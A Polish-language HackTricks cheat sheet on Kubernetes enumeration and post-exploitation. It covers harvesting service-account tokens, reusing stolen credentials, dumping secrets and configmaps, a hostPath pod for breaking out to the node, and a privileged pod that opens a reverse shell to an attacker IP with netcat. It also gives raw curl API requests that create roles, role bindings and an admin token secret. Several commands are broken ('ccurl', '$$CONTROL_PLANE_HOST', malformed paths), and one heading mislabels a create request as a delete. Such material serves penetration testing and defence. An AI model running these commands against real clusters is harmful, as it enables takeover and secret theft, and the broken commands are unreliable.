Kubernetes Enumeration

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Kubernetes Tokens

Jeśli masz skompromitowany dostęp do maszyny, użytkownik może mieć dostęp do jakiejś platformy Kubernetes. Token zazwyczaj znajduje się w pliku wskazywanym przez env var KUBECONFIG lub w ~/.kube.

W tym folderze możesz znaleźć pliki konfiguracyjne z tokenami i konfiguracjami do połączenia z serwerem API. W tym folderze możesz również znaleźć folder cache z informacjami wcześniej pobranymi.

Jeśli skompromitowałeś pod w środowisku Kubernetes, są inne miejsca, gdzie możesz znaleźć tokeny i informacje o bieżącym środowisku K8:

Service Account Tokens

Zanim przejdziesz dalej, jeśli nie wiesz, czym jest usługa w Kubernetes, sugeruję przeczytać ten link i zapoznać się przynajmniej z informacjami o architekturze Kubernetes.

Z dokumentacji Kubernetes documentation:

„Kiedy tworzysz pod, jeśli nie określisz konta usługi, automatycznie przypisywane jest domyślne konto usługi w tej samej przestrzeni nazw.”

ServiceAccount to obiekt zarządzany przez Kubernetes, używany do zapewnienia tożsamości dla procesów działających w podzie.
Każde konto usługi ma z nim powiązany sekret, a ten sekret zawiera token dostępu. Jest to JSON Web Token (JWT), metoda reprezentowania roszczeń w sposób bezpieczny między dwiema stronami.

Zazwyczaj jeden z katalogów:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

zawiera pliki:

  • ca.crt: To certyfikat CA do sprawdzania komunikacji Kubernetes
  • namespace: Wskazuje bieżącą przestrzeń nazw
  • token: Zawiera token usługi bieżącego poda.

Teraz, gdy masz token, możesz znaleźć serwer API w zmiennej środowiskowej KUBECONFIG. Aby uzyskać więcej informacji, uruchom (env | set) | grep -i "kuber|kube"

Token konta usługi jest podpisywany przez klucz znajdujący się w pliku sa.key i weryfikowany przez sa.pub.

Domyślna lokalizacja w Kubernetes:

  • /etc/kubernetes/pki

Domyślna lokalizacja w Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods to pody zawierające token konta usługi z uprawnieniami. Token konta usługi z uprawnieniami to token, który ma pozwolenie na wykonywanie uprzywilejowanych zadań, takich jak wyświetlanie sekretów, tworzenie podów itp.

RBAC

Jeśli nie wiesz, czym jest RBAC, przeczytaj tę sekcję.

GUI Applications

  • k9s: GUI, które enumeruje klaster Kubernetes z terminala. Sprawdź polecenia w https://k9scli.io/topics/commands/. Napisz :namespace i wybierz wszystko, aby następnie wyszukać zasoby we wszystkich przestrzeniach nazw.
  • k8slens: Oferuje kilka dni próbnych: https://k8slens.dev/

Enumeration CheatSheet

Aby enumerować środowisko K8s, potrzebujesz kilku rzeczy:

  • ważnego tokena uwierzytelniającego. W poprzedniej sekcji zobaczyliśmy, gdzie szukać tokena użytkownika i tokena konta usługi.
  • adresu (https://host:port) serwera API Kubernetes. Zazwyczaj można go znaleźć w zmiennych środowiskowych i/lub w pliku kube config.
  • Opcjonalnie: ca.crt do weryfikacji serwera API. Można go znaleźć w tych samych miejscach, w których można znaleźć token. Jest to przydatne do weryfikacji certyfikatu serwera API, ale używając --insecure-skip-tls-verify z kubectl lub -k z curl, nie będziesz tego potrzebować.

Mając te szczegóły, możesz enumerować Kubernetes. Jeśli API z jakiegoś powodu jest dostępne przez Internet, możesz po prostu pobrać te informacje i enumerować platformę z własnej maszyny.

Jednak zazwyczaj serwer API znajduje się w wewnętrznej sieci, dlatego będziesz musiał utworzyć tunel przez skompromitowaną maszynę, aby uzyskać do niego dostęp z własnej maszyny, lub możesz przesłać kubectl binarny, lub użyć curl/wget/cokolwiek do wykonywania surowych żądań HTTP do serwera API.

Differences between list and get verbs

Dzięki uprawnieniom get możesz uzyskać dostęp do informacji o konkretnych zasobach (opcja describe w kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Jeśli masz uprawnienie list, możesz wykonywać żądania API, aby wyświetlić typ zasobu (get opcja w kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Jeśli masz uprawnienie watch, możesz wykonywać żądania API w celu monitorowania zasobów:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Otwierają połączenie strumieniowe, które zwraca pełny manifest Deploymentu za każdym razem, gdy się zmienia (lub gdy tworzony jest nowy).

Caution

Następujące polecenia kubectl wskazują tylko, jak wylistować obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć describe zamiast get

Używanie curl

Z wnętrza poda możesz użyć kilku zmiennych środowiskowych:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

Domyślnie pod może uzyskać dostęp do serwera kube-api w nazwie domeny kubernetes.default.svc i możesz zobaczyć sieć kube w /etc/resolv.config, ponieważ tutaj znajdziesz adres serwera DNS kubernetes (“.1” w tym samym zakresie to punkt końcowy kube-api).

Używanie kubectl

Mając token i adres serwera API, używasz kubectl lub curl, aby uzyskać do niego dostęp, jak wskazano tutaj:

Domyślnie, APISERVER komunikuje się z schematem https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

jeśli brak https:// w adresie URL, możesz otrzymać błąd typu Bad Request.

Możesz znaleźć oficjalną ściągawkę kubectl tutaj. Celem poniższych sekcji jest przedstawienie w uporządkowany sposób różnych opcji do enumeracji i zrozumienia nowego K8s, do którego uzyskałeś dostęp.

Aby znaleźć żądanie HTTP, które wysyła kubectl, możesz użyć parametru -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Aktualna konfiguracja

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Jeśli udało ci się ukraść dane uwierzytelniające niektórych użytkowników, możesz skonfigurować je lokalnie za pomocą czegoś takiego:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Pobierz obsługiwane zasoby

Dzięki tym informacjom będziesz wiedzieć, wszystkie usługi, które możesz wymienić

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Uzyskaj bieżące uprawnienia

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Innym sposobem na sprawdzenie swoich uprawnień jest użycie narzędzia: https://github.com/corneliusweig/rakkess****

Możesz dowiedzieć się więcej o Kubernetes RBAC w:

Kubernetes Role-Based Access Control(RBAC)

Gdy już wiesz, jakie uprawnienia posiadasz, sprawdź następującą stronę, aby ustalić czy możesz je wykorzystać do eskalacji uprawnień:

Abusing Roles/ClusterRoles in Kubernetes

Uzyskaj inne role

k get roles
k get clusterroles

Pobierz przestrzenie nazw

Kubernetes wspiera wiele wirtualnych klastrów opartych na tym samym fizycznym klastrze. Te wirtualne klastry nazywane są przestrzeniami nazw.

k get namespaces

Pobierz sekrety

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Jeśli możesz odczytać sekrety, możesz użyć następujących linii, aby uzyskać uprawnienia związane z każdym tokenem:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Uzyskaj konta serwisowe

Jak omówiono na początku tej strony, gdy uruchamiany jest pod, zazwyczaj przypisywane jest do niego konto serwisowe. Dlatego wylistowanie kont serwisowych, ich uprawnień i miejsc, w których działają, może umożliwić użytkownikowi eskalację uprawnień.

k get serviceaccounts

Pobierz wdrożenia

Wdrożenia określają komponenty, które muszą być uruchomione.

k get deployments
k get deployments -n custnamespace

Pobierz Podsy

Podsy to rzeczywiste kontenery, które będą uruchamiane.

k get pods
k get pods -n custnamespace

Uzyskaj usługi

Kubernetes usługi są używane do ekspozycji usługi na określonym porcie i IP (które będą działać jako load balancer dla podów, które faktycznie oferują usługę). To jest interesujące, aby wiedzieć, gdzie można znaleźć inne usługi, aby spróbować zaatakować.

k get services
k get services -n custnamespace

Pobierz węzły

Pobierz wszystkie węzły skonfigurowane w klastrze.

k get nodes

Pobierz DaemonSets

DaeamonSets pozwala zapewnić, że konkretny pod działa na wszystkich węzłach klastra (lub na wybranych). Jeśli usuniesz DaemonSet, podsy zarządzane przez niego również zostaną usunięte.

k get daemonsets

Uzyskaj cronjob

Cron jobs pozwalają na zaplanowanie uruchomienia poda, który wykona jakąś akcję, przy użyciu składni podobnej do crontab.

k get cronjobs

Pobierz configMap

configMap zawsze zawiera wiele informacji i plików konfiguracyjnych, które są dostarczane do aplikacji działających w Kubernetes. Zwykle można znaleźć wiele haseł, sekretów, tokenów, które są używane do łączenia się i weryfikacji z innymi wewnętrznymi/zewnętrznymi usługami.

k get configmaps # -n namespace

Pobierz polityki sieciowe / polityki sieciowe Cilium

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Zdobądź wszystko / Wszystko

k get all

Pobierz wszystkie zasoby zarządzane przez helm

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Uzyskaj zużycie Podów

k top pod --all-namespaces

Interakcja z klastrem bez użycia kubectl

Widząc, że kontrola Kubernetes udostępnia API REST-ful, możesz ręcznie tworzyć żądania HTTP i wysyłać je za pomocą innych narzędzi, takich jak curl lub wget.

Ucieczka z poda

Jeśli jesteś w stanie tworzyć nowe pody, możesz być w stanie uciec z nich do węzła. Aby to zrobić, musisz stworzyć nowy pod za pomocą pliku yaml, przełączyć się na utworzony pod, a następnie chrootować do systemu węzła. Możesz użyć już istniejących podów jako odniesienia do pliku yaml, ponieważ wyświetlają istniejące obrazy i ścieżki.

kubectl get pod <name> [-n <namespace>] -o yaml

jeśli musisz utworzyć pod na konkretnym węźle, możesz użyć następującego polecenia, aby uzyskać etykiety na węźle

k get nodes --show-labels

Zwykle kubernetes.io/hostname i node-role.kubernetes.io/master to dobre etykiety do wyboru.

Następnie tworzysz swój plik attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

Po tym tworzysz pod.

kubectl apply -f attacker.yaml [-n <namespace>]

Teraz możesz przełączyć się na utworzony pod w następujący sposób

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

A na koniec chrootujesz do systemu węzła

chroot /root /bin/bash

Informacje uzyskane z: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Tworzenie uprzywilejowanego poda

Odpowiedni plik yaml wygląda następująco:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

Utwórz pod za pomocą curl:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Usuń pod

Usuń pod za pomocą curl:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Utwórz konto usługi

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Usuń konto usługi

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Utwórz rolę

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Usuń rolę

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Utwórz powiązanie roli

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Usuń powiązanie roli

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

Usuń sekret

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Usuń sekret

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

Odniesienia

Kubernetes Pentest Methodology Part 3

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks